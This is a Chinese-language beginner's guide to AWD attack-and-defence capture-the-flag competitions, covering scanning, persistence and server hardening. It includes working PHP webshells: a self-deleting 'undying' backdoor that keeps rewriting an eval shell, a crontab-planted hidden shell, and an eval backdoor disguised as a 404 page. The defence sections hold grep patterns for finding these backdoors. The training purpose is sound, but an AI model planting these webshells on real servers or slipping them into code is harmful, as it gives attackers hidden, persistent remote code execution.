AWD比赛入门攻略总结
字数 1418 2025-08-29 08:31:41
AWD比赛完全攻略手册
一、AWD竞赛概述
AWD(Attack With Defense)是一种网络安全竞赛模式,参赛队伍需要在保护自己服务器的同时攻击其他队伍的服务器。
1.1 主要题型
- WEB类:占比较大,涉及CMS和框架安全漏洞
- 常见漏洞:注入、上传、反序列化等
- 主要语言:PHP为主,少量Java、Python
- PWN类:二进制漏洞利用
1.2 竞赛拓扑
比赛通常分为两个阶段:
- 加固环节:统一加固自己的服务器
- 攻击环节:攻击其他队伍的服务器获取FLAG
二、赛前准备
2.1 必备工具清单
- SSH客户端:Xshell、FinalShell、SecureCRT
- FTP工具:FileZilla、WinSCP
- 扫描工具:
- Nmap
- httpscan
- dirsearch
- 漏洞利用工具:
- Xray
- pocsuite3
- Hydra
- 自动化框架:
- AWD-Predator-Framework
- 查杀工具:
- 河马WEBSHELL查杀
- D盾
三、信息收集
3.1 主机探测
ifconfig # Linux查看IP
ipconfig # Windows查看IP
nmap -sn 192.168.0.0/24 # 扫描C段存活主机
httpscan.py 192.168.0.0/24 -t 10 # 替代扫描方式
3.2 端口探测
nmap -sV 192.168.0.2 # 扫描系统版本
nmap -sS 192.168.0.2 # 扫描常用端口
nmap -sS -p 80,445 192.168.0.2 # 扫描指定端口
nmap -sS -p- 192.168.0.2 # 全端口扫描
3.3 应用发现
# 定位关键配置文件
find / -name "nginx.conf"
find / -path "*nginx*" -name nginx*conf
find / -name "httpd.conf"
find / -path "*apache*" -name apache*conf
find / -name "index.php" # 定位网站目录
# 日志文件位置
/var/log/nginx/ # Nginx日志
/var/log/apache/ # Apache日志
/var/log/apache2/
/usr/local/tomcat/logs # Tomcat日志
tail -f xxx.log # 实时查看日志
3.4 备份扫描
- 自动化扫描工具:
四、攻击技术
4.1 端口利用
- 常见攻击方式:
- 未授权访问
- 弱口令爆破
工具推荐:
字典资源:
4.2 WEB服务攻击
- 已知框架漏洞:使用工具快速扫描利用
- 自定义框架:分析日志学习其他选手攻击方式
漏洞资料库:
检测工具:
4.3 权限维持技术
4.3.1 隐藏文件读取
header('flag:'.file_get_contents('/tmp/flag'));
4.3.2 PHP不死马
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '2.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);}';
while(1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .2.php');
usleep(5000);
}
?>
4.3.3 定时任务写马
system('echo echo \"<?php if(md5($_POST[pass])==\'7b7fdffef464019f7190d0384d5b3838\'){ @eval($_POST[1]); } \" > /var/www/html/.index.php \n * * * * * chmod 777 /var/www/html/.index.php " | crontab;whoami');
4.4 快速得分策略
- 编写Python脚本批量获取FLAG
- 使用curl工具自动化提交
- 利用框架:AWD-Predator-Framework
五、防御技术
5.1 网站备份
# 压缩备份
tar -cvf web.tar /var/www/html
zip -q -r web.zip /var/www/html
# 解压恢复
tar -xvf web.tar -c /var/www/html
unzip web.zip -d /var/www/html
# 文件传输
scp username@servername:/path/filename /tmp/local_destination # 下载
scp /path/local_filename username@servername:/path # 上传
5.2 数据库备份
# MySQL备份
mysqldump -u username -p password databasename > bak.sql # 单库
mysqldump --all-databases > bak.sql # 全库
# 恢复
mysql -u username -p password database < bak.sql
5.3 信息搜集防御
netstat -ano/-a # 查看端口
uname -a # 系统信息
ps -aux # 进程信息
cat /etc/passwd # 用户情况
find / -type d -perm -002 # 可写目录检查
grep -r "flag" /var/www/html/ # 查找FLAG
5.4 口令更改
passwd username # SSH密码修改
# MySQL密码修改
set password for mycms@localhost = password('123');
# 查找配置文件中的密码
find /var/www/html -path '*config*'
5.5 后门查杀
# 查找可疑文件
find /var/www/html -name *.php -mmin -20 # 最近修改
find ./ -name '*.php' | xargs wc -l | sort -u # 短文件
grep -r --include=*.php '[^a-z]eval($_POST' /var/www/html
find /var/www/html -type f -name "*.php" | xargs grep "eval(" | more
# 不死马查杀
<?php system("kill -9 pid;rm -rf .shell.php"); ?>
# 后门用户查杀
userdel -r username # 完全删除账户
5.6 关闭进程和端口
ps -aux # 查看进程
kill -9 pid # 强制终止
netstat -anp # 查看端口
firewall-cmd --zone=public --remove-port=80/tcp --permanent # 关闭端口
firewall-cmd --reload # 重载防火墙
5.7 漏洞修复原则
- 保证服务不长时间宕机
- 使用安全过滤函数
- 无法修复时先注释或删除相关代码
- 保证页面显示正常
修复参考:
5.8 文件监控
- 工具:FileMonitor
5.9 WAF部署
常见CMS的WAF添加路径:
- DiscuzX2: \config\config_global.php
- Wordpress: \wp-config.php
- Metinfo: \include\head.php
- PHPCMS V9: \phpcms\base.php
- PHPWIND8.7: \data\sql_config.php
- DEDECMS5.7: \data\common.inc.php
WAF脚本参考:
六、经典后门示例
6.1 preg_replace伪装的404后门
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>
使用菜刀连接,密码:error
七、总结
AWD比赛考验选手的攻防兼备能力,需要:
- 快速信息收集能力
- 漏洞利用和修复能力
- 自动化脚本编写能力
- 团队协作能力
建议平时积累:
- 常见漏洞的EXP库
- 自动化脚本库
- 各种扫描工具库
- 漏洞修复方案库